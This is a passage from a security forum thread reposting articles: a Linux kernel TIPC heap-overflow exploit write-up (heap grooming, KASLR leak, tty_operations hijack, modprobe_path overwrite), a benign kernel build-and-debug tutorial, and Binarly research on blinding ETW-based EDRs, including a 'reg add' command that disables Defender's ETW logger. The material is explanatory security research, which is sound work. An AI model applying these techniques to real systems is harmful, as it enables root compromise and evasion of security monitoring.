heap objects allocated by the kernel using kmalloc end up in caches that are grouped by size (powers of two). You can have a peep at /proc/slabinfo and look at the entries prefixed by kmalloc- to get an overview of the general purpose object cache sizes. Since we can control the size of the heap buffer that will be allocated and overflowed, we can pick in which of these caches our object ends up. This is a great ability, as it allows us to overflow into adjacent kernel objects of a similar size! Defeating KASLR If we want to do any kind of control flow hijacking we’re going to need an information leak to disclose (at least) some kernel text/data addresses so we can deduce the randomized base address. It would be great if we could find some kernel objects that contain a pointer/offset/length field early on in their structure, and that can be made to return data back to userland somehow. While googling I stumbled on this cool paper by some Pennsylvania State University students who dubbed objects with such properties “Elastic Objects”. Their research on the subject is quite exhaustive and covers Linux, BSD and XNU.. I definitley recommend checking it out. Since we can pick arbitrarily sized allocations, we’re free to target any convenient elastic object. I went with msg_msg, which is popular choice amongst fellow exploitdevs. 😉 The structure of a msg_msg as defined in include/linux/msg.h: /* one msg_msg structure for each message */ struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */ }; You can easily allocate msg_msg objects using the msgsnd system call. And they can be freed again using the msgrcv system call. These system calls are not to be confused with the sendmsg and recvmsg system calls btw, great naming scheme! If we corrupt the m_ts field of a msg_msg object we can extend it’s size and get a relative kernel heap out-of-bounds read back to userland when retrieving the message from the queue again using the msgrcv system call. A small problem with this is that overwriting the m_ts field also requires trampling over the struct list_head members (a prev/next pointer). When msgrcv is called and a matching message is found, it wants to unlink it from the linked list.. but since we’re still in the infoleak stage of the exploit, we can’t put any legitimate/meaningful pointers in there. Lucikly, there’s a flag you can pass to msgrcv called MSG_COPY, which will make a copy of the message and not unlink the original one, avoiding a bad pointer dereference. So the basic strategy is to line up three objects like this: msg_msg msg_msg some_interesting_object and proceed to free the first msg_msg object and allocate the MSG_CRYPTO key buffer into the hole it left behind. We corrupt the adjacent msg_msg using the buffer overflow and subsequently leak data from some_interesting_object using the msgrcv system call with the MSG_COPY flag set. I chose to leak the data of tty_struct, which can easily be allocated by open’ing /dev/ptmx. This tty_struct holds all kinds of state related to the tty, and starts off like this: struct tty_struct { int magic; struct kref kref; struct device *dev; /* class device or NULL (e.g. ptys, serdev) */ struct tty_driver *driver; const struct tty_operations *ops; int index; ... } A nice feature of this structure is the magic at the very start, it allows us to easily confirm the validity of our leak by comparing it against the expected value TTY_MAGIC (0x5401). A few members later we find struct tty_operations *ops which points to a list of function pointers associated with various operations. This points to somewhere in kernel .data, and thus we can use it to defeat KASLR! Depending on whether the tty_struct being leaked belongs to a master pty or slave pty (they are allocated in pairs) we’ll end up finding the address of ptm_unix98_ops or pty_unix98_ops. As an added bonus, leaking tty_struct also allows us to figure out the address of the tty_struct because tty_struct.ldisc_sem.read_wait.next points to itself! Getting $RIP (or panic tryin') Naturally, the tty_operations pointer is a nice target for overwriting to hijack the kernel execution flow. So in the next stage of the exploit we start by spraying a bunch of copies of a fake tty_operations table. We can accurately guesstimate the address of one of these sprayed copies by utilizing the heap pointer we leaked in the previous step. Now we repeatedly: allocate msg_msg, allocate tty_struct(s), free msg_msg, trigger TIPC bug to (hopefully) overflow into a tty_struct. To confirm we actually overwrote (the first part) of a tty_struct we invoke ioctl on the fd we got from opening /dev/ptmx, this will call tty_struct.ops.ioctl and should get us control over $RIP if we managed to hijack the ops pointer of this object. If its not the case, we close() the pty again to not exhaust resources. Avoiding ROP (mostly) Where to jump to in the kernel? We could set up a ROP stack somewhere and pivot the stack into it.. but this can get messy quick, especially once you need to do cleanup and resume the kernel thread like nothing ever happened. If we look at the prototype of the ioctl callback from the ops list, we see: int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); We can set both cmd and arg from the userland invocation easily! So effectively we have an arbitrary function call where we control the 2nd and 3rd argument (RSI and RDX respectively). Well, cmd is actually truncated to 32bit, but that’s good enough. Let’s try to look for some gadget sequence that allows us to do an arbitrary write: $ objdump -D -j .text ./vmlinux \ | grep -C1 'mov %rsi,(%rdx)' \ | grep -B2 ret .. ffffffff812c51f5: 31 c0 xor %eax,%eax ffffffff812c51f7: 48 89 32 mov %rsi,(%rdx) ffffffff812c51fa: c3 ret .. This one is convenient, it also clears rax so the exploit can tell whether the invocation was a success. We now have some arbitrary 64bit write gadget! (For some definition of arbitrary, the value is always 32bit controlled + 32bit zeroes, but whatever) Meet my friend: modprobe_path Okay, we have this scuffed arbitrary write gadget we can repeatedly invoke, what do we overwrite? Classic kernel exploits would target the cred structure of the current task to elevate the privileges to uid0. We could of course build an arbitrary read mechanism in the same way we build the arbitrary write.. but lets try something else. There are various scenario’s in which the kernel will spawn a userland process (using the usermode_helper infrastructure in the kernel) to load additional kernel modules when it thinks that is nescessary. The process spawned to load these modules is, of course: modprobe. The path to the modprobe binary is stored in a global variable called modprobe_path and this can be set by a privileged user through the sysfs node /proc/sys/kernel/modprobe. This is a perfect candidate for overwriting using our write gadget. If we overwrite this path and convince the kernel we need some additional module support we can invoke any executable as root! One of these modprobe scenario’s is when you try to run a binary that has no known magic, in fs/exec.c we see: /* * cycle the list of binary formats handler, until one recognizes the image */ static int search_binary_handler(struct linux_binprm *bprm) { .. if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0) .. } request_module ends up invoking call_modprobe which spawns a modprobe process based on the path from modprobe_path. Closing Words I hope you enjoyed the read. Feel free to reach out to point out any inaccuracies or feedback. The full exploit can be found here Sursa: https://haxx.in/posts/pwning-tipc/
-
Building and Debugging the Linux Kernel BY DENNIS J. MCWHERTER, JR. FEBRUARY 17, 2015 1 COMMENT TWEET LIKE +1 Recently, for the first time in a few months, I had built the latest version of the Linux kernel. In fact, since I don’t drink coffee, I decided to write this post while I waited for it to build. We’ll take a quick look through where to get the official source code, how to compile it, and what tools there are to debugging it (short of rebooting your machine for every patch, of course). That said, I will shift much of the focus of this article on to actually running the built kernel and debugging it. Where’s teh codez? The official linux source tree can be found at Kernel.org. From here you can download the source in tarball form or take the latest release (at time of writing, this is kernel v3.19 which is the tag I checked out). However, I recommend ingesting your source via git. Using git allows you to keep the tree up-to-date with the latest revisions and checkout any previous version of kernel source that you care about. In particular, I recently grabbed the source directly from the torvalds/linux.git repo. You will want to run: git clone https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/ Once you have this copy of the source code, you can move around to any source revision you like or take a tagged build. To see a list of available tags, cd into the source directory and try: git tag -l Great, this is the first step to building your kernel. If you want more help with git, see this git primer or try to search around for others. There are many git resources available out there. Building the Kernel Since we’re ready with our source code, we can build the kernel. Building the kernel is reasonably straightforward if you’re familiar with typical Makefile projects, but there are other resources that also contain more detail on this. Ramdisk (optional). The first thing I like to do is create a ramdisk. I have found that about 3GB is sufficient for this size. You can try to run something like the following to create a ram disk at the location of /media/ramdisk: sudo mkdir -p /media/ramdisk sudo mount -t tmpfs -o size=3072M tmpfs /media/ramdisk # The next command copies the repo over cp linux /media/ramdisk This improves the overall performance of the build since it can write the compiled code and read the source files out of RAM instead of off disk (i.e. disk is orders of magnitudes slower than memory). However, the initial copying of source will take some time since it is reading from disk and copying into memory. NOTE: This is an optimization and in no way necessary for compiling the Linux kernel. Likewise, upon reboot, the contents of the RAM disk will be cleared (since RAM is volatile storage). Caveat: Though I recommend performing all of your builds on your RAM disk for speed, this does cause an obvious synchronization problems between the files on your disk and the files in your ram disk. I will leave the coping mechanism to you if you’re performing active development, but one feasible solution is to simply continue using git to track your changes (perhaps an alternate remote would be useful here). Just be sure to push your changes before you delete the ram disk or reboot. Configuring the Kernel. The next step in the process is to create a configuration. You can use your current kernel’s configuration or use the default one. make defconfig The above command will create a default kernel configuration for you. Alternatively, you can use make menuconfig instead to manually configure your kernel. Open up the generated configuration (i.e. the .config file) and make sure you have set the following parameters (for debugging): CONFIG_FRAME_POINTER=y CONFIG_KGDB=y CONFIG_KGDB_SERIAL_CONSOLE=y CONFIG_DEBUG_INFO=y Build the kernel. After that, you’ll want to actually build the kernel. The machine I’m using to compile the kernel has 4 cores, so I run the following command: make -j4 At this point you’ll want to walk away and get a cup of coffee if you drink it (otherwise, write a blog post). The number passed with -j option to make signifies the number of threads you wish make to use for the compilation process (i.e. you should adjust this to be reasonable for the number of cores on your machine). With a 3GB RAM disk and 4 threads, this process takes about 15 minutes and 26 seconds on my virtual machine to compile (not bad for a VM on a dinky little laptop). Install the kernel. Congratulations, you’ve successfully built the Linux kernel on your own. Finally, we need to install the kernel so we can actually use it. sudo make modules_install install This command will put the kernel files alongside your current kernel. When this is done, you should be able to see the kernel files in /boot. Qemu Our kernel is built and now we want to test it. But naturally, we don’t want to reboot for every change (and we didn’t necessarily install it in the “right” place to do that, anyway). To do this, we’ll use qemu. Qemu is a pretty nifty little, “machine emulator and virtualizer.” This tool will allow us to boot up our compiled kernel right in software and observe its behavior. We can similarly attach gdb for debugging this process and it’s much faster than performing full reboots on our machine to test the kernel we just built. NOTE: If you’re building a custom kernel for production, it is best to use qemu for prototyping and development, but obviously you should run thorough tests on the bare-metal machines. Since qemu is software that virtualizes the hardware, it is possible that there is a bug in emulation and behavior may vary. To load our kernel in qemu, we’ll run something similar to the following line: qemu-system-x86_64 -kernel /boot/vmlinuz-3.19.0 -initrd /boot/initrd.img-3.19.0 -hda ~/rootfs.img -nographic -serial stdio -append “root=/dev/sda console=ttyS0” This little gem will start qemu and boot your recently built kernel. However, we are missing a piece at this point. Particularly, we have specified a rootfs (root filesystem) image, but we never created it. While the kernel should drop a shell even without the rootfs, it isn’t really all that useful without it. I was running this on an ubuntu VM, so we will use “qemu-debootstrap” to build this for us. dd if=/dev/zero of=~/rootfs.img bs=200M count=1 mkfs.ext2 -F ~/rootfs.img sudo mkdir /mnt/rootfs sudo mount -o loop ~/rootfs.img /mnt/rootfs sudo qemu-debootstrap –arch=i386 precise /mnt/rootfs sudo cp /etc/passwd /etc/shadow /mnt/rootfs/etc sync sudo umount /mnt/rootfs This set of commands will create a viable rootfs using ubuntu’s “precise” release as the base distribution. A quick summary follows: Create a file of zeros ~200MB in size called rootfs.img Format rootfs.img to ext2 file system Make a mount point for image Mount image to created mount point Create the rootfs for “precise” in the mounted location Copy over current system user data for login Flush file buffers (i.e. make sure we write changes) Umount disk image As you can see, all of the real work is handled for us by qemu-deboostrap. However, after we have run this, we should now be able to start qemu. After issuing the command above, you should eventually she a login prompt appear in the qemu window. Login with the credentials to your current machine (i.e. we copied /etc/passwd and /etc/shadow) and you should be able to use the system like normal. Similarly, a uname -a should show you that you’re running whatever kernel version which you just compiled. Debugging We have successfully built our kernel and loaded it up in our emulator. Next up is debugging. Note that printk (kernel’s version of printf) is still very much your friend while working in the kernel, but some things are simply better looked at under the debugger when possible. For this purpose, KGDB was born and that is why we enabled it earlier. Though the official KDB/KGDB docs are quite thorough on this topic, I will summarize here. Start the kernel. Shutdown your running kernel and modify the boot options slightly. We are going to tell kgdb to send the output to our ttyS0 at 115200 baud: qemu-system-x86_64 -kernel /boot/vmlinuz-3.19.0 -initrd /boot/initrd.img-3.19.0 -hda ~/rootfs.img -nographic -serial tcp::4444,server -append “root=/dev/sda kgdboc=ttyS0,115200” Similarly, we change how we will be interacting with our serial port. In particular, we have told qemu to listen on 0.0.0.0 port 4444 for a client until it starts. Since we only have a single serial device, this is now treated as ttyS0 instead of our console. We’ll show why this is important later. In any case, you can start your debugger now by simply running: gdb </path/to/kernel/build>/vmlinux (gdb) target remote 127.0.0.1:4444 This connects gdb at the network location we told qemu to listen on. Though this is a network connection from the host’s perspective, your kernel sees this as a direct serial connection by specifying the -serial option. Drop the kernel into debug mode. The first thing we want to do is actually put the kernel in debug mode. Login as root (or use sudo) and run the following command: echo g > /proc/sysrq-trigger If you compiled with the KDB frontend and don’t have gdb attached, you should see kdb open up in your console. If, however, you followed the steps above and attached with gdb, control of the kernel should have been passed to the debugger. From here, you can operate gdb as you would with any other program. NOTE: If you have trouble with gdb (i.e. it times out before you drop to debug mode) simply reconnect using the “target remote” command above. If it appears to be hanging when you first get into debug mode, simply stop debugging the process in gdb (i.e. CTRL + C) and reconnect. You should see a (gdb) prompt when the debugger has successfully connected to the kernel. If you want to continue kernel execution, simply type “continue.” There you have it; a more or less step-by-step guide to building and running your own version of the Linux kernel. This is more useful than just being the coolest kid amongst your friends. With this knowledge you can keep your kernel up-to-date with the latest fixes (before full point releases) and bake in any custom code into your kernel that you find useful. Happy kernel hacking! Sursa: https://deathbytape.com/articles/2015/02/17/build-debug-linux-kernel.html
-
DESIGN ISSUES OF MODERN EDRS: BYPASSING ETW-BASED SOLUTIONS November 15, 2021 - Binarly Team As experts in firmware security, the Binarly team is frequently asked why endpoint solutions can’t detect threats originating below the operating system such as firmware implant payloads. Unfortunately, the problem requires a more complex approach and the modern architecture of Endpoint Detection & Response (EDR) solutions are weak against generic attack patterns. At Black Hat Europe 2021, Binarly researchers presented several attack vectors that weren't aimed at attacking a single solution, but instead exposed industry-wide problems. The technical details of two new UEFI bootloader-based pieces of malware (FinSpy and ESPecter), which behave similarly to classical bootkits, have been published recently. However, instead of infecting legacy bootstrap code (MBR/VBR), they attack the UEFI-based bootloader to persist below the operating system. These types of threats can influence the kernel-space before all the mitigations apply. This allows an attacker to install kernel-mode implants or rootkit code very early in the boot process. Past publicly available ETW bypasses rely on hooking/unhooking techniques to alter the executable files loading with runtime changes such as reflective code injection (You’re off the hook – Zero Nights 2016, Matrosov & Tang) With that in mind, the Binarly research chose to focus on uncovering ETW design problems and uncover attacks that affect all the solutions relying on ETW telemetry. Firmware implants to deliver operating system payloads implementing these attacks will NOT be detected by modern endpoint solutions. Design issues are the worst Event Tracing for Windows (ETW) is a built-in feature, originally designed to perform software diagnostics, and nowadays ETW is widely used by Endpoint Detection & Response (EDR) solutions. Attacks on ETW can blind a whole class of security solutions that rely on telemetry from ETW. Researching ways to disable ETW is of critical importance given that these attacks can result in disabling the whole class of EDR solutions that rely on ETW for visibility into the host events. Even more important is researching and developing ways to detect if the ETW has been tampered with and notify the security solutions in place. This topic is very important for all the experts dealing with Windows security, malware detection and incident response. Event Tracing for Windows (ETW) is a built-in Windows logging mechanism designed to observe and analyze application behavior. ETW was introduced quite a while ago (Windows XP) as a framework implemented in the kernel to troubleshoot OS components behavior and performance issues; since then, it has been expanded and improved significantly - in Windows 11, ETW can produce more than 50,000 event types from about 1,000 providers. Using ETW to collect host telemetry has the following advantages: Available system-wide, in all recent Windows OSs without having to be installed, loading any kernel drivers or OS rebooting. Supports a standardized framework to produce and consume logging events. High-speed logging that lets applications consume events in real-time or from a disk file. ETW is used to collect events in large-scale business solutions such as Docker, Amazon CloudWatch. MS SQL Server has been using ETW for more than 10 years. One of the first examples of using ETW-based tools to analyze and reveal malware behavior was presented by Mark Russinovich in his talk “Malware Hunting with the Sysinternals Tools” about 10 years ago. Since then, developers of modern EDRs have leveraged ETW to monitor security related events and successfully detect and respond to cutting-edge malware. As an example, Process Monitor from the SysInternals suite was leveraging NT Kernel Logger ETW session for network tracing. Its latest version is still relying on ETW for such visibility but a dedicated ETW session, PROCMON TRACE, was introduced. During the Black Hat Europe 2021 talk, the Binarly team demonstrated an ETW attack on Processor Monitor that resulted in blinding the SysInternals tool from any network activity. There are plenty of practical research projects demonstrating the ability of ETW to capture malicious activity or perform threat research and reverse engineering: DARPA has sponsored several ETW-based monitoring systems for malware detection Project Windows Low-Level System Monitoring Data Collection obtains data from many ETW providers, including NT Kernel Logger to reveal and reconstruct various attacks such as browser exploit attacks and malicious file download. Project MARPLE focuses on hardening enterprise security by automating the detection of APT threats. One of its modules, Holmes, collects host telemetry via ETW to produce detection signals for APT campaigns. Project APTShield uses ETW for logging system call routines. This scheme helps to detect RATs by analyzing malicious behavior, such as key logging, screen grabbing, remote shell, audio recording and unauthorized registry manipulation. MITRE-built ETW-based Security Sensor to detect process injection, capture process creation and termination, file creation and deletion events for certain filenames and paths. ETW is a hot topic in many academic papers focused mostly on detecting malicious behavior: Malware Characterization Using behavioral Components from George Mason University Detecting File-less Malicious Behavior of.NET C2 agents using ETW from University of Amsterdam Tactical Provenance Analysis for Endpoint Detection and Response Systems form University of Illinois Etc. According to the MITRE CVE database, in 2021, there is an exponential rise in the number of ETW related vulnerabilities that received a CVE number. So it is safe to assume that ETW has caught the attention of Bug hunters: As discussed, ETW is helpful for gathering telemetry to defend against attacks, but it has drawbacks. One important drawback is that ETW has an opaque structure, including undocumented providers and providers that issue undocumented events - ETW event templates are stored in the PE resource section under WEVT_TEMPLATE resource id. ETW can be leveraged by living-off-the-land malware: ETW can provide sniffer functionality for file & registry operations, process, thread & network activity ETW can provide keylogger functionality ETW can be used to flood the HDD in DDOS attacks, since events can be cached to disk in log files malware can use ETW to detect sandbox detonations some ETW providers are available only for certain Protected Process Light (PPL) processes; but malware can disable PPL on targeted processes via a kernel mode driver without causing BSOD – and next disable the “hidden” ETW providers Unfortunately for the defenders, ETW can be BYPASSED! Many ways to disable ETW logging are publicly available from passing a TRUE boolean parameter into a nt!EtwpStopTrace function to finding an ETW specific structure and dynamically modifying it or patching ntdll!ETWEventWrite or advapi32!EventWrite to return immediately thus stopping the user-mode loggers. Over the past several years, there have been many examples of malware families that implemented mitigations to evade ETW-based logging. In March 2018, Kaspersky released a report on Slingshot, a complex and unknown cyber-espionage platform targeting African and Middle East countries. Slingshot, the first-stage loader, renames the ETW-logs by appending .tmp extension to avoid leaving traces of its activity in system logs. Minisling, a module in the platform, uses Microsoft-Windows-Kernel-General ETW provider to obtain the last reboot time and the Microsoft-Windows-Kernel-Power ETW provider to obtain the last unsuccessful attempt to turn the machine off. In 2019, LockerGoga Ransomware implemented functionality to disable ETW by turning off tracing from Microsoft-Windows-WMI-Activity provider via wevtutil tool. In August 2021, TrendMicro researchers published the details of a new campaign from APT41 targeting South-China Seas countries where it was mentioned the use of 2 new shellcode loaders that can run payloads, uninstall themselves, disable ETW to evade detection, and also try out credentials. MITRE has updated the Defense Evasion category to take into account these attacks by adding a new technique called “Indicator Blocking” as a separate sub-technique to Impair Defenses technique. The ETW Threat Modeling is presented below: Threat Modeling ETW There are 5 types of attacks, designated by a different color, targeting each component of the ETW architecture: Red shows attacks on ETW from inside an Evil Process Light blue shows attacks on ETW by modifying environment variables, registry and files Orange shows attacks on user-mode ETW Providers Dark blue shows attacks on kernel-mode ETW Providers Purple shows attacks on ETW Sessions The Binarly team recapped the most important bypasses publicly available during their Black Hat Europe 2021 talk. The most up-to-date summary of the ETW attacks by category is presented below: Type of Attack Number of different techniques Attacks from inside AN EVIL process 6 Attacks on ETW environment variables, registry, and files 3 Attacks on user-mode ETW providers 11 Attacks on kernel-mode ETW providers 7 Attacks on ETW sessions 9 Total Attacks 36 New attacks discovered by Binarly REsearch Before introducing a new attack on Process Monitor presented by the Binarly team, let’s talk a bit more about ETW Sessions. An ETW session is a global object identified by a unique name that allows multiple ETW consumers to subscribe and receive events from different ETW providers. To make matters more obfuscated, there is neither API nor documentation on how to identify the session a consumer subscribes to receive events from. The EtwCheck (it will be released soon, stay tuned) is a powerful tool that can extract various kernel data including the in-memory WMI_LOGGER_CONTEXT structures for the corresponding sessions. These structures contain the sessions Security Descriptors, Flags and PIDs that can help identify the applications that subscribe to these sessions. The default number of simultaneously running sessions is 64. The NT kernel supports a maximum of 8 System Logger Sessions with hardcoded unique names. Some examples of System Session include NT Kernel Logger, Global Logger, and Circular Kernel Context Logger. NT Kernel Logger session receives telemetry from different providers implemented in the ntoskrnl.exe and OS core drivers. One important key point, which will be leveraged in the attack on Process Monitor, is that Windows supports only one active NT Kernel Logger session at any time but any application with admin privileges can start/stop this session. Process Monitor is free, and very popular for malware analysis which uses absolutely the same technology as many EDRs. To receive network events Process Monitor launches an ETW session as follows: Process Monitor version up to 3.60 uses NT Kernel Logger session. Process Monitor version 3.85 uses a session called PROCMON TRACE. Process Monitor uses ETW to sniff network events From an attacker application, the running session that Processor Monitor relies on is stopped and a fake one is started. As a result, Process Monitor stops receiving network events and relaunching it does not fix the problem. ETW Hijacker blinds Process Monitor by stopping ETW sessions To demonstrate this attack, Binarly team has developed ETW Hijacker (it will be released soon, stay tuned) which functionality is based on the following control flow: Block diagram of ETW Hijacker In the second attack introduced during the talk, the targeted application is Windows Defender and its secure ETW sessions: Logger ID Logger Name Instance GUID Registry Path 4 DefenderApiLogger {6B4012D0-22B6-464D-A553-20E9618403A2} HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger 5 DefenderAuditLogger {6B4012D0-22B6-464D-A553-20E9618403A1} HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger Each ETW session has an associated Security Descriptor, which is located in the registry in the HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security key. The binary content of the security descriptor associated with DefenderApiLogger is written in the 6B4012D0-22B6-464D-A553-20E9618403A2 value and the binary content of the security descriptor associated with DefenderAuditLogger is written in the 6B4012D0-22B6-464D-A553-20E9618403A1 value under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security key. As it can be seen in the next figure, the Security Descriptor stored in the registry matched the corresponding Security Descriptor in kernel memory (WMI_LOGGER_CONTEXT.SecurityDescriptor.Object). Security descriptor for DefenderApiLogger in Registry and in the kernel memory One simple way to blind Windows Defender is to zero out registry values corresponding to its ETW sessions: reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f Windows provides QueryAllTracesW API to retrieve the properties and statistics for all ETW sessions for which the caller has permissions to query. After calling this function the execution control goes to the kernel and finally to EtwpQueryTrace function (its corresponding pseudocode shown below). As it can be seen in the pseudocode, the EtwpQueryTrace function includes several security checks to prevent returning information about a secure session to unprivileged applications. This is the reason why event apps with admin privileges can’t query the Windows Defender ETW sessions. First, the access rights of the caller are checked by comparing the session security descriptor with the process token. Second, it checks whether the queried session has its SecurityTrace flag set and implement one more check based on the PPL mechanism in the EtwCheckSecurityLoggerAccess function. EtwpQueryTrace function checks two fields: Security Descriptor and Flags. SecurityTrace By default, users cannot query information about Defender ETW sessions since they are running with high privilege and have SecurityTrace flag enabled. Both session parameters, the security descriptor and SecurityTrace flag, are stored in the WMI_LOGGER_CONTEXT structure. Malware can load a driver that patches the aforementioned values in the targeted WMI_LOGGER_CONTEXT structure to make the execution flow bypass the security checks and execute EtwpGetLoggerInfoFromContext function. Malware can patch the WMI_LOGGER_CONTEXT structure to allow querying Defender ETW sessions Now, moving to stopping secure ETW sessions, Windows provides StopTraceW function to stop the specified ETW session. After calling this function the execution control goes to the kernel and finally to EtwpStopTrace function (its corresponding pseudocode shown below). As it can be seen in the pseudocode, the EtwpStopTrace function includes several security checks to prevent stopping the targeted secure session by unprivileged applications. This is the reason why even apps with admin privileges can’t stop the Windows Defender ETW sessions. First, the session “stoppable” characteristics is checked by querying the LoggerMode field in the WMI_LOGGER_CONTEXT structure. Second, the access rights of the caller are checked by comparing the session security descriptor with the process token. EtwpStopTrace function checks LoggerMode and Security Descriptor By default, users cannot stop the Defender ETW sessions since they are running with high privilege and have been marked as non-stoppable. Both session parameters, the security descriptor and LoggerMode field, are stored in the WMI_LOGGER_CONTEXT structure. Malware can load a driver that patches the aforementioned values in the targeted WMI_LOGGER_CONTEXT structure to make the execution flow bypass the security checks and execute EtwpStopLoggerInstance function. Malware can patch the WMI_LOGGER_CONTEXT structure to allow stopping Defender ETW sessions To summarize the attack to query information about the target secure ETW session and then stop it, a malware driver has to patch three fields in the corresponding WMI_LOGGER_CONTEXT structure in memory. Summary of the Attack The demo on querying and stopping the Windows Defender ETW sessions presented during the talk can be found on Binarly YouTube channel. Windows PatchGuard is a software protection utility designed to forbid the kernel from being patched in order to prevent rootkit infections. However, we can see from the demo that PatchGuard does not protect kernel ETW structures from illegal write access. To mitigate this risk, MemoryRanger can be used. Memory Ranger is a hypervisor-based utility designed to prevent attacks on kernel memory. After loading, MemoryRanger allocates a default enclave for the OS and previously loaded drivers. MemoryRanger traps the loading of the ETW Blinder driver and moves it to the isolated kernel enclave in run-time with different memory access restrictions. Using Extended Page Table (EPT), MemoryRanger can trap access to the sensitive data and return fake data to the attacker. MemoryRanger can prevent patching ETW session structures The demo on how MemoryRanger can prevent patching the WMI_LOGGER_CONTEXT structure presented at BlackHat Europe 2021 can be found on Binarly YouTube channel. In conclusion, ETW was originally designed to perform software diagnostics, but nowadays it is widely used by various EDRs and cybersecurity solutions. It is crucial to understand the attacks on ETW because these attacks can disable the whole class of security solutions. During the talk we presented two new attacks on Process Monitor and Windows Defender and introduced two new tools that can help in identifying (EtwCheck) and preventing attacks on ETW (MemoryRanger). Going on step further, let’s assume that an attack originates in the firmware, sets persistence, executes the next-stage payload to move up in the kernel where it can implement one of the attacks shown in this presentation. This will be devastating, due to its stealth-ness and resilience to OS reinstallation or HDD replacing. That's why, today, security solutions MUST receive signals from below and above the OS to be able to respond effectively to such threats. Sursa: https://www.binarly.io/posts/Design_issues_of_modern_EDR’s_bypassing_ETW-based_solutions/index.html
-
Playlist: https://www.youtube.com/playlist?list=PLwnDE0CN30Q9x3JMsHrRMGoLhpF8vZ1ka
-
It’s ON. Registration for DefCamp 2021 is OPEN
Nytro replied to Nytro's topic in Anunturi importante
Pare ok platforma aia, dar tot apar probleme. Era mai frumos cand stateam toti afara si inghetam ca niste carnati. -
It’s ON. Registration for DefCamp 2021 is OPEN
Nytro replied to Nytro's topic in Anunturi importante